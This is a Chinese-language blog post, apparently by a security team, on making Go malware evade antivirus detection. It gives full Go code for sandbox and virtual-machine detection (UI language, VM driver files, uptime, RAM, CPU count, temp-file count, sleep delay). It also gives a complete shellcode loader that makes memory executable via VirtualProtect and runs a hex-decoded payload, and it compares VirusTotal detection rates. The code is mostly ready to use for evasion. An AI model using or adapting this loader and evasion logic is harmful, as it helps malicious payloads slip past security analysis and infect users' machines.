免杀专题文章及工具:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:http://wiki.tidesec.com/docs/bypassav
本文涉及的所有代码和资料:https://github.com/TideSec/GoBypassAV/
本文内容参考节选自以下资料:
反虚拟机和沙箱检测:https://www.freebuf.com/articles/system/202717.html
Golang实现沙箱识别:https://blog.51cto.com/u_15127583/4364960
Bypass AV 思路:https://github.com/Ed1s0nZ/GoYiyi
沙箱是用于隔离正在运行的程序的安全机制。它通常用于执行未经测试或不受信任的程序或代码,这个程序代码可能来自未经验证的或不受信任的第三方、供应商、用户或网站,而不会危害主机或操作系统。
在规避技术中,由于目前沙箱正成为判断恶意威胁的一种最快速和最简单的方式,因此反沙箱检测是比较重要的一类技术。
因为之前对这方面了解较少,所以这里搜集汇总了一些基于GO的沙箱检测方法。
因为沙箱基本都是英文,所以根据首选操作系统语言是不是中文来判断是否为沙箱环境,简单粗暴一些。
而且依赖golang.org/x/sys/windows
包,使用该包会增大exe程序0.3M左右。
func check_language() {
a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME)
if a[0] != "zh-CN" {
os.Exit(1)
}
}
执行wmic命令,返回操作系统信息,根据关键字来判断,也是略简单粗暴。
func check_virtual() (bool, error) { // 识别虚拟机
model := ""
var cmd *exec.Cmd
cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
stdout, err := cmd.Output()
if err != nil {
return false, err
}
model = strings.ToLower(string(stdout))
if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
return true, nil //如果是虚拟机则返回true
}
return false, nil
}
根据虚拟机或沙箱可能存在的一些文件,来进行判断。
func PathExists(path string) (bool, error) {
_, err := os.Stat(path)
if err == nil {
return true, nil
}
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
func fack(path string) {
b, _ := PathExists(path)
if b {
os.Exit(1)
}
}
func check_file() {
fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
fack("C:\\windows\\System32\\vboxdisp.dll")
fack("C:\\windows\\System32\\vboxhook.dll")
fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
fack("C:\\windows\\System32\\vboxservice.exe")
fack("C:\\windows\\System32\\vboxtray.exe")
fack("C:\\windows\\System32\\VBoxControl.exe")
}
在各类检测沙箱中,检测运行的时间往往是比较短的,因为其没有过多资源可以供程序长时间运行,所以我们可以延迟等待一会儿后再进行真实的操作。
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(5 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(5*time.Second) {
return 1, nil
} else {
return 0, nil
}
}
许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。
func bootTime() (int, error) {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return 0, nil
}
ms := time.Duration(r * 1000 * 1000)
tm := time.Duration(30 * time.Minute)
if ms < tm {
return 0, nil
} else {
return 1, nil
}
}
当今大多数pc具有4GB以上的RAM,我们可以检测RAM是否大于4GB来判断是否是真实的运行机器。
func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
if mem < 4 {
return 0, nil
}
return 1, nil
}
大多数pc拥有4核心cpu,许多在线检测的虚拟机沙盘是2核心,我们可以通过核心数来判断是否为真实机器或检测用的虚拟沙箱。
func numberOfCPU() (int, error) {
a := runtime.NumCPU()
if a < 4 {
return 0, nil
} else {
return 1, nil
}
}
正常使用的系统,其中用户的临时文件夹中有一定数量的临时文件,可以通过判断临时文件夹内的文件数量来检测是否在沙箱中运行。
func numberOfTempFiles() (int, error) {
conn := os.Getenv("temp")
var k int
if conn == "" {
return 0, nil
} else {
local_dir := conn
err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
if fi.IsDir() {
return nil
}
k++
return nil
})
if err != nil {
return 0, nil
}
}
if k < 30 {
return 0, nil
}
return 1, nil
}
我这使用相同的shellcode加载代码,一个使用沙箱检测,一个不使用沙箱检测。
常规编译命令,两个文件大小相差0.3M。
未使用沙箱检测技术的,VT查杀结果为:10/71
使用了沙箱检测技术的,VT查杀结果为:8/70
额,好像差别也不是很大。而且加了虚拟机检测后,自己调试也麻烦了。
在潮影在线免杀平台 http://bypass.tidesec.com 上,最初也有沙盒检测方面的功能模块,但后来发现效果一般,便去掉了。
本文涉及的所有代码和资料在这里都有:https://github.com/TideSec/GoBypassAV/
package mainimport (
"encoding/hex"
"golang.org/x/sys/windows"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"syscall"
"time"
"unsafe"
)
// 检测语言,依赖windows数据包,编译后会增加0.6M大小
func check_language() {
a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //获取当前系统首选语言
if a[0] != "zh-CN" {
os.Exit(1)
}
}
func check_sandbox() {
// 1. 延时运行
timeSleep1, _ := timeSleep()
// 2. 检测开机时间
bootTime1, _ := bootTime()
// 3. 检测物理内存
physicalMemory1, _ := physicalMemory()
// 4. 检测CPU核心数
numberOfCPU1, _ := numberOfCPU()
// 5. 检测临时文件数
numberOfTempFiles1, _ := numberOfTempFiles()
level := timeSleep1 + bootTime1 + physicalMemory1 + numberOfCPU1 + numberOfTempFiles1 // 有五个等级,等级越趋向于5,越像真机
//fmt.Println("level:", level)
if level < 4 {
os.Exit(1)
}
}
// 1. 延时运行
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(5 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(5*time.Second) {
//fmt.Println("睡眠时间为:", sleepTime)
return 1, nil
} else {
return 0, nil
}
}
// 2. 检测开机时间
// 许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。
func bootTime() (int, error) {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return 0, nil
}
ms := time.Duration(r * 1000 * 1000)
tm := time.Duration(30 * time.Minute)
//fmt.Println(ms,tm)
if ms < tm {
return 0, nil
} else {
return 1, nil
}
}
// 3、物理内存大小
func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
//fmt.Printf("物理内存为%dG\n", mem)
if mem < 4 {
return 0, nil // 小于4GB返回0
}
return 1, nil // 大于4GB返回1
}
func numberOfCPU() (int, error) {
a := runtime.NumCPU()
//fmt.Println("CPU核心数为:", a)
if a < 4 {
return 0, nil // 小于4核心数,返回0
} else {
return 1, nil // 大于4核心数,返回1
}
}
func numberOfTempFiles() (int, error) {
conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径
var k int
if conn == "" {
//fmt.Println("未找到temp文件夹,或temp文件夹不存在")
return 0, nil
} else {
local_dir := conn
err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
if fi.IsDir() {
return nil
}
k++
// fmt.Println("filename:", filename) // 输出文件名字
return nil
})
//fmt.Println("Temp总共文件数量:", k)
if err != nil {
// fmt.Println("路径获取错误")
return 0, nil
}
}
if k < 30 {
return 0, nil
}
return 1, nil
}
func check_virtual() (bool, error) { // 识别虚拟机
model := ""
var cmd *exec.Cmd
cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
stdout, err := cmd.Output()
if err != nil {
return false, err
}
model = strings.ToLower(string(stdout))
if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
return true, nil //如果是虚拟机则返回true
}
return false, nil
}
func PathExists(path string) (bool, error) {
_, err := os.Stat(path)
if err == nil {
return true, nil
}
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
func fack(path string) {
b, _ := PathExists(path)
if b {
os.Exit(1)
}
}
func check_file() {
fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
fack("C:\\windows\\System32\\Drivers\\vmhgfs.dll")
fack("C:\\windows\\System32\\Drivers\\vmGuestLib.dll")
fack("C:\\windows\\System32\\Drivers\\VBoxMouse.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
fack("C:\\windows\\System32\\vboxdisp.dll")
fack("C:\\windows\\System32\\vboxhook.dll")
fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
fack("C:\\windows\\System32\\vboxservice.exe")
fack("C:\\windows\\System32\\vboxtray.exe")
fack("C:\\windows\\System32\\VBoxControl.exe")
}
var VirtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func aaa(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) bool {
ret, _, _ := VirtualAlloc.Call(
uintptr(a),
uintptr(b),
uintptr(c),
uintptr(d))
return ret > 0
}
func Run(sc []byte) {
fly := func() {}
var xx uint32
if !aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&xx)) {
}
**(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc))
var yy uint32
aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&yy))
fly()
}
func ScFromHex(scHex string) []byte{
var charcode []byte
charcode, _ = hex.DecodeString(string(scHex))
return charcode
}
func main() {
check_language()
check_file()
check,_ := check_virtual()
if check == true{
os.Exit(1)
}
check_sandbox()
sccode := ScFromHex("shellcode")
Run(sccode)
}
Go语言进行简单的反虚拟机检测:https://www.nctry.com/2243.html
反虚拟机和沙箱检测:https://www.freebuf.com/articles/system/202717.html
Golang实现沙箱识别:https://blog.51cto.com/u_15127583/4364960
各种go-shellcode:https://github.com/Ne0nd0g/go-shellcode
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。